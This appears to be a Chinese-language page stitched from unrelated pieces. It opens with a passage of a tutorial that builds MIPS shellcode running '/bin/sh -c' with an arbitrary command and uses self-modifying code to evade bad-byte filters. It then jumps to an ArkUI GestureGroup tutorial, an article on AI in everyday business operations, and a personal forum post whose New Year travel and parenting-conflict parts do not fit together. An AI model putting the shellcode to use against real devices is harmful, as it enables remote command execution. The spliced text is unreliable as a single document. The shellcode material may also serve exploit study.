      24:   afa5ffec        sw      a1,-20(sp)
      28:   afa6fff0        sw      a2,-16(sp)
      2c:   afa0fff4        sw      zero,-12(sp)
      30:   27a5ffe8        addiu   a1,sp,-24
      34:   24140457        li      s4,1111
      38:   2686fba9        addiu   a2,s4,-1111
      3c:   24020fab        li      v0,4011
      40:   0101010c        syscall 0x40404
      44:   2f62696e        sltiu   v0,k1,26990
      48:   2f736800        sltiu   s3,k1,26624  # /sh\x00 
      4c:   2d630069        sltiu   v1,t3,105    # -c\x00i
      50:   64000000        .word   0x64000000   # d\x00
    

    通过以上汇编指令生成机器码可发现有三处坏字节是无法通过变化指令来避免的,也就是数据区最后的12字节(48,4c,50 ),其中48与4c是固定位置的,偏移量不会改变,而最后四字节需要动态获取。

    image.png

    四、插入自修复指令解决坏字节问题

    模板二的基础上,为解决 bad 字节(坏字符) 问题,需要通过新增指令对原有逻辑进行扩展。其核心思路是利用运行时运算绕过静态字节限制。因此,首先需要掌握的就是最基本的加减运算,其原理直观、实现简单,却在规避坏字节的 Shellcode 中具有极高的实用价值。

        ASM_MIPS2 = """
            .set noreorder
            li      $a2,1638
            bltzal  $a2,0
            slti    $a2,$zero,-1
    
            addiu   $sp,$sp,-32
            addiu   $s3,$ra,4097
            addiu   $a0,$s3,-4041
            addiu   $a1,$s3,-4033
            addiu   $a2,$s3,-4030
    
            # 自修复代码
            # ....这里是为了后续插入一段指令解决坏字节问题
            # end
    
            sw      $a0,-24($sp)
            sw          $a1,-20($sp)
            sw      $a2,-16($sp)
            sw      $zero,-12($sp)
            # 将$a0,$a1与$2压入栈中
    
            addiu   $a1,$sp,-24      # $a1是argv,也就是数组,压入栈才能正确解析
            addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
            addiu   $a2,$s4,-1111
            li      $v0,4011         # execve调用号
            syscall 0x40404
    
            # --- 第 4 部分:数据区 ---
            .asciiz "/bin/sh"
            .asciiz "-c"
            .asciiz "{command}"
        """
    

    在如下指令后

    0:   24060666        li      a2,1638
    4:   04d0ffff        bltzal  a2,0x4
    

    插入 0x33333333 对应的占位指令:

    8:  33333333        andi    s3, t9, 0x3333
    

    该指令在当前执行上下文中不会触发无效指令异常,同时也不会破坏寄存器状态或影响后续控制流的正常执行,因此可安全地作为填充或运算辅助指令使用。当然,该指令并不局限于放置在当前位置,如根据需求插入到其他位置,只需在后续阶段重新计算相关偏移或地址($t2)即可

    在此基础上,为规避 bad 字节 问题,可将原位于 0x480x4c0x50 的目标机器码统一减去 0x33333333,在运行时再通过加法或其他等价运算进行还原,从而实现对受限字节的有效绕过。

    image.png
    【图 4.1】

    2F736800 - 0x33333333 = FC4034CD    # "/sh\x00"
    2D630069 - 0x33333333 = FA2FCD36    # "-c\x00i"
    64000000 - 0x33333333 = 30CCCCCD    # "d\x00"
    

    将原本位于 0x480x4c0x50 的机器码替换为上述计算后的结果,以确保 Shellcode 在注入阶段不包含受限的坏字节。

    在此基础上,通过在自修复(self-modifying)代码段中插入相应的汇编指令,于运行时对这些位置执行加法运算,将减去的 0x33333333 重新补回,从而动态还原原始机器码内容。该方式在不引入坏字节的前提下,实现了对关键数据与指令的完整恢复,确保 Shellcode 能够按照预期逻辑正常执行。

        ASM_MIPS2 = """
            .set noreorder
            li      $a2,1638
            bltzal  $a2,0
            # 0x33333333是shellcode生成后插入的,假设这里存在0x33333333,在计算偏移时需要+4
            slti    $a2,$zero,-1
    
            addiu   $sp,$sp,-32
            addiu   $s3,$ra,4097
            addiu   $a0,$s3,-3997  # 因为插入了一段自修复代码,所以a1,a2与a3需要重新计算偏移。
            addiu   $a1,$s3,-3989
            addiu   $a2,$s3,-3986
    
            # 自修复代码
            lw   $t2,-4101($s3)    # -4101($s3)就是取的 0x33333333
            lw   $t3,-3993($s3)    # 取FC4034CD ,地址为0x3fffe074
            addu   $t3,$t3,$t2       # FC4034CD + 0x33333333 = 2F736800
            sw      $t3,-3993($s3) # 将计算后的结果放回0x3fffe074处(见【图 4.2】)
    
            lw   $t3,-3989($s3)      # 取FA2FCD36 ,地址为0x3fffe078
            addu   $t3,$t3,$t2       # FA2FCD36 + 0x33333333 = 2D630069
            sw      $t3,-3989($s3) # 将计算后的结果放回0x3fffe078处(见【图 4.2】)
    
            # 此处使用变量 offset 的原因在于:
            # 数据区最后4字节非常容易出现\x00坏字节。
            # 例如字符串:"echo 000000000"
            # 在内存中的表示为:\x65\x63\x68\x6f\x20\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00
            # 其尾部包含多个 \x00,因此需要设置变量动态计算偏移地址。
            lw   $t3,-{offset}($s3)    # 取30CCCCCD 地址为0x3fffe07c
            addu   $t3,$t3,$t2         # 30CCCCCD + 0x33333333 = 64000000
            sw      $t3,-{offset}($s3) # 将计算后的结果放回0x3fffe07c处(见【图 4.2】)
            # end                                           
    
            sw      $a0,-24($sp)
            sw          $a1,-20($sp)
            sw      $a2,-16($sp)
            sw      $zero,-12($sp)
    
            addiu   $a1,$sp,-24
            addiu   $s4,$zero,1111   #将 $a2设置为0
            addiu   $a2,$s4,-1111
            li      $v0,4011
            syscall 0x40404
    
            # --- 第 4 部分:数据区 ---
            .asciiz "/bin/sh"
            .asciiz "-c"
            .asciiz "{command}"
        """
    

    image.png
    0x3fffe070 ◂— 0x2f62696e ('/bin') 本身没有坏字节所以不用处理。见上图【图 4.1】

    继续往下执行可看到 0x3fffe074,0x3fffe0780x3fffe07c处的值已经还原了。

    image.png
    【图 4.2】

    image.png

    image.png

    至此,数据已在运行时被完整还原,Shellcode 能够按照预期逻辑稳定执行,shellcode缩短至128 字节;如下图所示,即使在传入额外参数的情况下,载荷未引入 \x00 坏字节,整体执行过程保持正常。

    image.png

    image.png
    该方案可用脚本实现,但还是有些小问题需优化,待完善后再放在评论区。

    在 ArkUI 里,单个手势(点击、长按、滑动、缩放…)已经够好用,但一旦你要做这种交互:

    • 长按后才能拖动
    • 同一区域支持 单击 / 双击 且行为不同
    • 两个手势要 同时识别 或互斥

    就会发现仅靠 TapGesture / PanGesture 这些基础手势不太好管理——这时候就轮到主角 GestureGroup 登场了。

    本文定位就是一篇可以直接发社区的实战向自学笔记,按这几个问题展开:

    1. GestureGroup 是什么?解决什么问题?
    2. 三种 GestureMode 到底怎么选?
    3. 如何正确组合单击 / 双击、长按 + 拖动?
    4. onCancel 在真实项目中有什么用?

    一、GestureGroup 是什么?

    官方一句话定义:

    GestureGroup 用来把多个基础手势组合在一起,根据指定的识别模式统一管理。
    • API Version 7 开始支持
    • 元服务 从 API 11 开始支持
    • 系统能力:SystemCapability.ArkUI.ArkUI.Full

    核心接口只有一个:

    GestureGroup(mode: GestureMode, ...gesture: GestureType[])

    参数说明:

    • mode: GestureMode(必填)
      组合手势的“识别策略”,即三种模式:Sequence / Parallel / Exclusive
    • ...gesture: GestureType[](可选)

      • 一个或多个基础手势实例(TapGestureLongPressGesturePanGesture 等)
      • 如果这里不填,那这个 GestureGroup 相当于白写,组合识别不生效
    ⚠️ 官方特别说明:
    当一个组件要同时支持 单击 + 双击 时,必须把双击放前面,单击放后面,才能正确识别。

    二、GestureMode 三种模式,搞清区别就成功一半

    GestureMode 枚举定义了组合手势的识别方式:

    enum GestureMode {
      Sequence,   // 顺序识别
      Parallel,   // 并发识别
      Exclusive   // 互斥识别
    }

    2.1 Sequence:顺序识别(默认值)

    按照注册顺序,一个一个识别。前面的失败,后面的都不会触发。

    特点:

    • 只有当 前一个手势识别完成,才会进入下一个手势识别;
    • 任意一个中途失败,后面的通通不再识别;
    • 在顺序识别模式下,只有最后一个手势能触发 onActionEnd 事件

    典型场景:

    • 长按后才允许拖动(长按没触发,就不让拖)
    • 双击成功则不再触发单击回调
    • 复杂手势链:长按 → 拖动 → 抬手触发某种状态收束

    2.2 Parallel:并发识别

    所有手势同时识别,互不干扰。

    特点:

    • 注册的所有手势“并行”识别;
    • 各自成功或失败 互不影响
    • 适合“多个手势可以同时成立”的场景。

    典型场景:

    • 同一组件既要识别 PinchGesture(缩放)又要识别 RotateGesture(旋转);
    • 类似“边拖动边缩放”的复杂交互。

    2.3 Exclusive:互斥识别

    所有手势一起识别,谁先成功,就“赢”,其余都视为失败。

    特点:

    • 有点像“抢占式”的识别模式;
    • 一旦其中一个手势识别成功:

      • 其他手势立即失败;
      • 结束整个组合手势识别。

    典型场景:

    • 同区域要么触发“滑动删除”,要么触发“点击打开”,不能两者都触发;
    • 导航区域:水平滑动切换 Tab vs 垂直滑动滚动列表,二选一。

    三、事件:onCancel 什么时候触发?

    GestureGroup 自己只有一个事件:

    onCancel(event: () => void)

    含义:

    • 手势识别成功后,如果收到触摸取消事件,会触发这个回调;
    • 常见情况:

      • 系统打断(来电、系统弹窗)
      • 父组件拦截或其它手势优先级更高
      • 触摸被提前终止

    在实际项目里,onCancel 通常用来做:

    • 恢复 UI 状态(比如把变成虚线的边框改回实线);
    • 取消动画、清理资源
    • 重置一些临时的状态变量,避免后续交互异常。

    四、官方示例拆解:长按 + 拖动(顺序识别)

    先看一下官方示例的完整版,然后逐块拆解思路。

    // xxx.ets
    @Entry
    @Component
    struct GestureGroupExample {
      @State count: number = 0;
      @State offsetX: number = 0;
      @State offsetY: number = 0;
      @State positionX: number = 0;
      @State positionY: number = 0;
      @State borderStyles: BorderStyle = BorderStyle.Solid;
    
      build() {
        Column() {
          Text('sequence gesture\n' +
            'LongPress onAction:' + this.count + '\n' +
            'PanGesture offset:\nX: ' + this.offsetX + '\n' +
            'Y: ' + this.offsetY)
            .fontSize(15)
        }
        .translate({ x: this.offsetX, y: this.offsetY, z: 0 })
        .height(150)
        .width(200)
        .padding(20)
        .margin(20)
        .border({ width: 3, style: this.borderStyles })
        .gesture(
          // 顺序识别:长按成功后,才会识别拖动
          GestureGroup(GestureMode.Sequence,
            LongPressGesture({ repeat: true })
              .onAction((event?: GestureEvent) => {
                if (event && event.repeat) {
                  this.count++
                }
                console.info('LongPress onAction')
              }),
            PanGesture()
              .onActionStart(() => {
                this.borderStyles = BorderStyle.Dashed
                console.info('pan start')
              })
              .onActionUpdate((event?: GestureEvent) => {
                if (event) {
                  this.offsetX = this.positionX + event.offsetX
                  this.offsetY = this.positionY + event.offsetY
                }
                console.info('pan update')
              })
              .onActionEnd(() => {
                this.positionX = this.offsetX
                this.positionY = this.offsetY
                this.borderStyles = BorderStyle.Solid
                console.info('pan end')
              })
          )
            .onCancel(() => {
              console.info('sequence gesture canceled')
            })
        )
      }
    }

    4.1 交互效果总结

    • 用户先长按卡片:

      • 长按过程中,count 会累加;
    • 长按识别完成后,才会开始识别拖动:

      • 拖动时卡片跟着移动(offsetX / offsetY 更新);
      • 边框样式变成虚线,松手恢复实线;
    • 如果中途被取消,走 onCancel

    4.2 关键点解读

    1. 必须用 Sequence 模式

      GestureGroup(GestureMode.Sequence, LongPressGesture(...), PanGesture())

      想要“长按 → 再拖动”这样的链式交互,最自然就是顺序识别。

    2. 位移计算通过“起始位置 + 偏移量”完成

      this.offsetX = this.positionX + event.offsetX
      this.offsetY = this.positionY + event.offsetY
      • positionX / positionY 记录上一次拖动结束的位置;
      • event.offsetX / offsetY 是当前手势中的增量;
      • 松手时把当前 offset 写回 position,即新起点。
    3. 只在 PanGesture 的 onActionEnd 收尾

      • 因为 Sequence 模式下只有最后一个手势能触发 onActionEnd
      • 恰好我们希望拖动结束时写入最终位置、恢复边框样式。

    五、经典场景:单击 + 双击共存怎么写?

    这是 GestureGroup 出现频率最高的需求之一。

    5.1 思路

    • TapGesture 写两个手势:

      • 一个 count: 2 表示双击;
      • 一个 count: 1 表示单击;
    • 使用 GestureGroup(GestureMode.Sequence, 双击, 单击)
    • 双击优先识别,成功后单击不会再触发。

    5.2 示例代码

    @Entry
    @Component
    struct TapGestureGroupDemo {
      @State singleCount: number = 0;
      @State doubleCount: number = 0;
    
      build() {
        Column() {
          Text(`单击次数:${this.singleCount}`)
            .fontSize(16)
          Text(`双击次数:${this.doubleCount}`)
            .fontSize(16)
            .margin({ bottom: 12 })
    
          Text('点击这个区域测试单击/双击')
            .fontSize(18)
            .padding(20)
            .backgroundColor('#EEEEEE')
            .borderRadius(12)
            .gesture(
              GestureGroup(
                GestureMode.Sequence,
                // 一定要把双击放前面!
                TapGesture({ count: 2 })
                  .onAction(() => {
                    this.doubleCount++;
                    console.info('double tap');
                  }),
                TapGesture({ count: 1 })
                  .onAction(() => {
                    this.singleCount++;
                    console.info('single tap');
                  })
              )
            )
        }
        .width('100%')
        .height('100%')
        .justifyContent(FlexAlign.Center)
        .alignItems(HorizontalAlign.Center)
      }
    }

    ✅ 小结:

    • 双击写在前面 → 既能识别双击,又不会误触单击;
    • 用 Sequence 模式就够了,不需要 Parallel / Exclusive。

    六、Parallel / Exclusive 模式实战思路示例

    这里给两个思路示例,你可以按需带入自己项目。

    6.1 Parallel:缩放 + 旋转同时识别

    伪代码示意:

    Shape()
      .width(200)
      .height(200)
      .gesture(
        GestureGroup(GestureMode.Parallel,
          PinchGesture()
            .onActionUpdate(e => {
              // 根据 e.scale 处理缩放
            }),
          RotationGesture()
            .onActionUpdate(e => {
              // 根据 e.angle 处理旋转
            })
        )
      )
    • 两个手势同时识别,互不阻塞;
    • 更适合“画布类”、“图片编辑器”等交互。

    6.2 Exclusive:滑动删除 vs 点击打开二选一

    思路:

    • 给同一个 Item 区域同时注册:

      • 一个 PanGesture(水平滑动触发删除);
      • 一个 TapGesture(点击进入详情);
    • GestureGroup(GestureMode.Exclusive, PanGesture, TapGesture)
    • 用户如果滑动成功,就进入删除逻辑,不再触发点击。

    伪代码示意:

    Row()
      .width('100%')
      .height(60)
      .gesture(
        GestureGroup(GestureMode.Exclusive,
          PanGesture({ direction: PanDirection.Horizontal })
            .onActionEnd(e => {
              // 滑到一定距离后,触发删除
            }),
          TapGesture({ count: 1 })
            .onAction(() => {
              // 打开详情页
            })
        )
      )

    七、GestureGroup 使用小结 & 常见坑

    最后快速帮你盘一遍重点:

    1. 基本语法

      .gesture(
        GestureGroup(GestureMode.Sequence | Parallel | Exclusive, 手势1, 手势2, ...)
          .onCancel(() => { ... })
      )
    2. mode 选型建议

      • 顺序链条(长按 → 拖动、双击优先于单击):Sequence
      • 多手势同时有效(缩放 + 旋转):Parallel
      • 多手势竞争,一个成功其他失败(滑动 vs 点击):Exclusive
    3. Tap + 双击 必须注意顺序

      • 双击手势写前面,单击写后面;
      • 否则单击会先被识别,导致双击识别不到。
    4. Sequence 模式 only 最后一个 onActionEnd 生效

      • 需要在“最后一个手势”的 onActionEnd 里做收尾逻辑;
      • 上层流程性操作,尽量放在最后一个手势里处理。
    5. onCancel 用来兜底清理状态

      • onActionEnd 不同:onCancel 是“被打断”的收尾;
      • 避免 UI 卡在“选中态 / 虚线边框 / 半透明”等中间状态。

    到这里,GestureGroup 的核心思路和常见用法基本都过了一遍。建议你:

    • 先把官方的长按 + 拖动例子跑起来;
    • 再自己写一个 单击 + 双击共存 的小 Demo;
    • 然后根据项目需求,尝试用 Parallel / Exclusive 把原来复杂的 if/else 手势逻辑慢慢收敛到 GestureGroup 上。

    用熟之后,你会发现:组合手势本身没那么难,难的是想清楚交互规则,而 GestureGroup 正好帮你把“规则”变成清晰的代码结构。

    在人工智能进入商业应用的早期阶段,其主要形态是概念验证、创新试点与专项实验。这一时期,AI 更多被视为“技术能力的展示窗口”,而非组织运转的组成部分。

    进入 2026 年,一个明显的转变正在发生:AI 不再以独立项目的形式被讨论,而是逐步嵌入企业的日常运营体系,成为类似电力、云计算和网络协议的基础能力。这一变化,标志着 AI 正在完成从“创新工具”向“运营基础设施”的角色转移。

    一、AI 运营常态化的定义

    在企业组织中,AI 的存在方式正在发生结构性变化:

    • 创新型 AI 以项目制存在,目标是验证模型能力或技术路径,评估标准集中于准确率、推理能力或算法先进性。
    • 运营型 AI 被拆解并嵌入标准业务流程中,作为流程节点而非独立系统存在,其价值通过效率、成本与稳定性体现。

    当 AI 不再被单独命名、不再被视为“特殊系统”,而是自然融入 SOP,本质上就进入了运营常态化阶段。

    二、推动 AI 融入运营的关键变化

    1. 技术能力的服务化与解耦

    随着模型即服务与微服务架构成熟,AI 能力被封装为标准接口,能够像数据库或消息队列一样,被直接调用到现有业务流中。AI 不再要求重构系统,而是适配系统。

    2. 岗位视角取代功能视角

    在运营场景中,AI 的部署逻辑正在从“提供功能”转向“承担职责”。企业不再只讨论模型能做什么,而是开始定义它在流程中的角色边界。在这一语境下,行业中出现了“智能体来了”的现象性描述,用以指代 AI 以岗位单元进入系统运行。

    3. 数据反馈的实时闭环

    当业务系统完成从离线处理向实时流转的升级,AI 能够在真实运营环境中持续接收反馈并修正输出,使其行为与业务状态同步演进,而非停留在静态模型阶段。

    三、AI 进入日常运营的典型技术路径

    1. 嵌入式架构成为主流

    AI 能力不再集中于独立平台,而是直接存在于 ERP、CRM、协同工具等生产系统内部,通过自然语言入口或规则触发机制参与流程。

    2. 运维模式转向持续监控

    模型管理从版本发布演变为运行监控,重点包括性能偏移、异常输出识别以及推理成本的动态控制。

    3. 人机责任边界被制度化

    在运营体系中,AI 决策需要明确的分级策略。高频低风险事务实现自动执行,中高风险场景由 AI 提供方案并保留人工确认权,以保证系统稳定性与责任可追溯性。

    四、从创新到运营的关键差异

    维度创新阶段运营阶段
    系统形态独立实验系统嵌入既有业务系统
    衡量标准模型指标效率、成本、稳定性
    使用人群技术团队业务与运营团队
    演进节奏随技术迭代随业务变化

    五、迈向常态化的现实挑战

    AI 融入运营的最大障碍,往往不在技术层面,而在组织层面。若业务流程本身缺乏清晰规则,AI 只能放大既有问题。因此,围绕业务知识、流程规则与决策逻辑的系统化治理,将成为 2026 年企业内部最关键的基础工程之一。

    结语

    当企业不再讨论“是否要用 AI”,而是专注于“流程是否足够清晰、系统是否足够稳定”时,AI 才真正完成了从创新项目走向日常运营的转变。

    对于 33 岁的单身后端开发来说,过年哪是放假,简直是一年一度的分布式压力测试。猪过年只是“挨一刀”,而你回家可能要面对的是全方位、无死角的“逻辑审查”和“并发质问”。
    所以我打算过年去旅游-初三出发长白山,山里信号不好,正好拒接那些催婚电话。

    矛盾只要来自我和我妈之间。下面说下背景:

    产前两个月左右,我妈到了退休年纪,当然也可以继续上班,她是在工厂食堂里做厨师,在我和媳妇的劝说下辞职来小家帮忙,我一个月给 2k 买菜钱。产前一切都还好,但是宝宝出生后,我对她的意见越来越多。

    主要是育儿方式,为此跟我妈吵了好几次:
    1.总是觉得我们给小孩裹得少,她带的时候总是裹得严严实实,我们很担心有疹子
    2.喂奶的时候说个不停,声音吵,听的很烦躁
    3.跟她说不要用痱子粉(有买紫草油),说什么我以前不都这么过来的
    4.还有许多种种,我觉得她很没有边界感,总是去抱小孩,明明都睡着了还要去抱,然后还有对着宝宝说一堆叽里咕噜的废话,我不知道这是不是我护犊子的心态产生了问题。。。

    目前小孩不到一个月,我跟我妈已经吵了两三回了,有次她都哭了,说我给她气受,有时候我说话态度确实不好,一着急会说的比较过分,但是克制不住。

    其实我老婆对我妈也有意见,但是感觉没有我这么反感,她跟我妈的关系反正现在是比我跟我妈的关系好。我跟老婆商量不要我妈带孩子得了,但是她说后面产假休完了还是得我妈带,没有办法。这说的也是,我也没有什么别的办法。

    现在的状况是我已经懒得跟我妈说什么,她带小孩我也是离得远远的,免得生气,这是我目前能做到避免争吵的办法了。家里也没以前那样说说笑笑,我现在的心态没办法对着我妈笑着说话。

    所以这种情况,我该怎么做,过来人指点一下吧